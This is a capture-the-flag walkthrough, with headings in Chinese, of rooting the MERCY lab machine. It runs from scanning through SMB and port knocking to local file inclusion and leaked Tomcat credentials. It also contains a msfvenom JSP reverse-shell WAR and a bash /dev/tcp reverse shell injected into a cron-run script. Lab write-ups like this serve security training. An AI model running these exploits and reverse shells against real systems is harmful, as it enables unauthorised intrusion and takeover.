信息收集

$ $ nmap -p- 192.168.101.151 --min-rate 1000 -sC -sV

PORT     STATE SERVICE     VERSION
53/tcp   open  domain      ISC BIND 9.9.5-3ubuntu0.17 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3ubuntu0.17-Ubuntu
110/tcp  open  pop3        Dovecot pop3d
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-08-24T13:22:55
|_Not valid after:  2028-08-23T13:22:55
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: UIDL TOP STLS AUTH-RESP-CODE RESP-CODES PIPELINING SASL CAPA
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp  open  imap        Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-08-24T13:22:55
|_Not valid after:  2028-08-23T13:22:55
|_imap-capabilities: LITERAL+ IDLE SASL-IR more listed IMAP4rev1 OK LOGIN-REFERRALS capabilities ENABLE LOGINDISABLEDA0001 STARTTLS post-login have Pre-login ID
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
993/tcp  open  ssl/imap    Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-08-24T13:22:55
|_Not valid after:  2028-08-23T13:22:55
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: LITERAL+ IDLE more listed IMAP4rev1 SASL-IR LOGIN-REFERRALS AUTH=PLAINA0001 OK capabilities ENABLE post-login have Pre-login ID
995/tcp  open  ssl/pop3    Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-08-24T13:22:55
|_Not valid after:  2028-08-23T13:22:55
|_pop3-capabilities: UIDL TOP PIPELINING AUTH-RESP-CODE RESP-CODES USER SASL(PLAIN) CAPA
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat
| http-methods:
|_  Potentially risky methods: PUT DELETE
| http-robots.txt: 1 disallowed entry
|_/tryharder/tryharder
|_http-open-proxy: Proxy might be redirecting requests

本地权限

http://192.168.101.151:8080/robots.txt

$ echo 'SXQncyBhbm5veWluZywgYnV0IHdlIHJlcGVhdCB0aGlzIG92ZXIgYW5kIG92ZXIgYWdhaW46IGN5YmVyIGh5Z2llbmUgaXMgZXh0cmVtZWx5IGltcG9ydGFudC4gUGxlYXNlIHN0b3Agc2V0dGluZyBzaWxseSBwYXNzd29yZHMgdGhhdCB3aWxsIGdldCBjcmFja2VkIHdpdGggYW55IGRlY2VudCBwYXNzd29yZCBsaXN0LgoKT25jZSwgd2UgZm91bmQgdGhlIHBhc3N3b3JkICJwYXNzd29yZCIsIHF1aXRlIGxpdGVyYWxseSBzdGlja2luZyBvbiBhIHBvc3QtaXQgaW4gZnJvbnQgb2YgYW4gZW1wbG95ZWUncyBkZXNrISBBcyBzaWxseSBhcyBpdCBtYXkgYmUsIHRoZSBlbXBsb3llZSBwbGVhZGVkIGZvciBtZXJjeSB3aGVuIHdlIHRocmVhdGVuZWQgdG8gZmlyZSBoZXIuCgpObyBmbHVmZnkgYnVubmllcyBmb3IgdGhvc2Ugd2hvIHNldCBpbnNlY3VyZSBwYXNzd29yZHMgYW5kIGVuZGFuZ2VyIHRoZSBlbnRlcnByaXNlLg=='|base64 -d

It's annoying, but we repeat this over and over again: cyber hygiene is extremely important. Please stop setting silly passwords that will get cracked with any decent password list.

Once, we found the password "password", quite literally sticking on a post-it in front of an employee's desk! As silly as it may be, the employee pleaded for mercy when we threatened to fire her.

No fluffy bunnies for those who set insecure passwords and endanger the enterprise.

$ enum4linux 192.168.101.151

pleadformercy
qiu
thisisasuperduperlonguser
fluffy

username:qiu
password:password

$ smbmap -H 192.168.101.151 -u 'qiu' -p 'password'

$ smbmap -H 192.168.101.151 -u 'qiu' -p 'password' -s qiu -r --depth 10

$ smbclient //192.168.101.151/qiu -U qiu

smb: \> lcd ./dev
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

$ cat .private/opensesame/config

通过端口敲门开放SSH和HTTP端口

http:159,27391,4
ssh:17301,28504,9999

$ knock 192.168.101.151 17301 28504 9999 -d 300 -v

$ knock 192.168.101.151 159 27391 4 -d 300 -v

$ dirb http://192.168.101.151/

http://192.168.101.151/robots.txt

http://192.168.101.151/nomercy/

http://192.168.101.151/mercy/

http://192.168.101.151/nomercy/windows/code.php?file=../../../../../../etc/passwd

$ whatweb http://192.168.101.151:8080 -v

http://192.168.101.151/nomercy/windows/code.php?file=../../../../../../var/lib/tomcat7/conf/tomcat-users.xml

username:fluffy
password:freakishfluffybunny

username:thisisasuperduperlonguser
password:heartbreakisinevitable

http://192.168.101.151:8080/manager/html

$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.101.128 LPORT=10032 -f war >reverse.war

http://192.168.101.151:8080/reverse/

Local.txt 截屏

Local.txt 内容

Plz have mercy on me! :-( :-(

权限提升

python -c 'import pty;pty.spawn("/bin/bash")'

tomcat7@MERCY:/var/lib/tomcat7$ su fluffy

$ ls -la /home/fluffy/.private/secrets

$ ./pspy32

$ echo "/bin/bash -c 'bash -i >& /dev/tcp/192.168.101.128/10034 0>&1'">>/home/fluffy/.private/secrets/timeclock

Proof.txt 截屏

Proof.txt 内容

Congratulations on rooting MERCY. :-)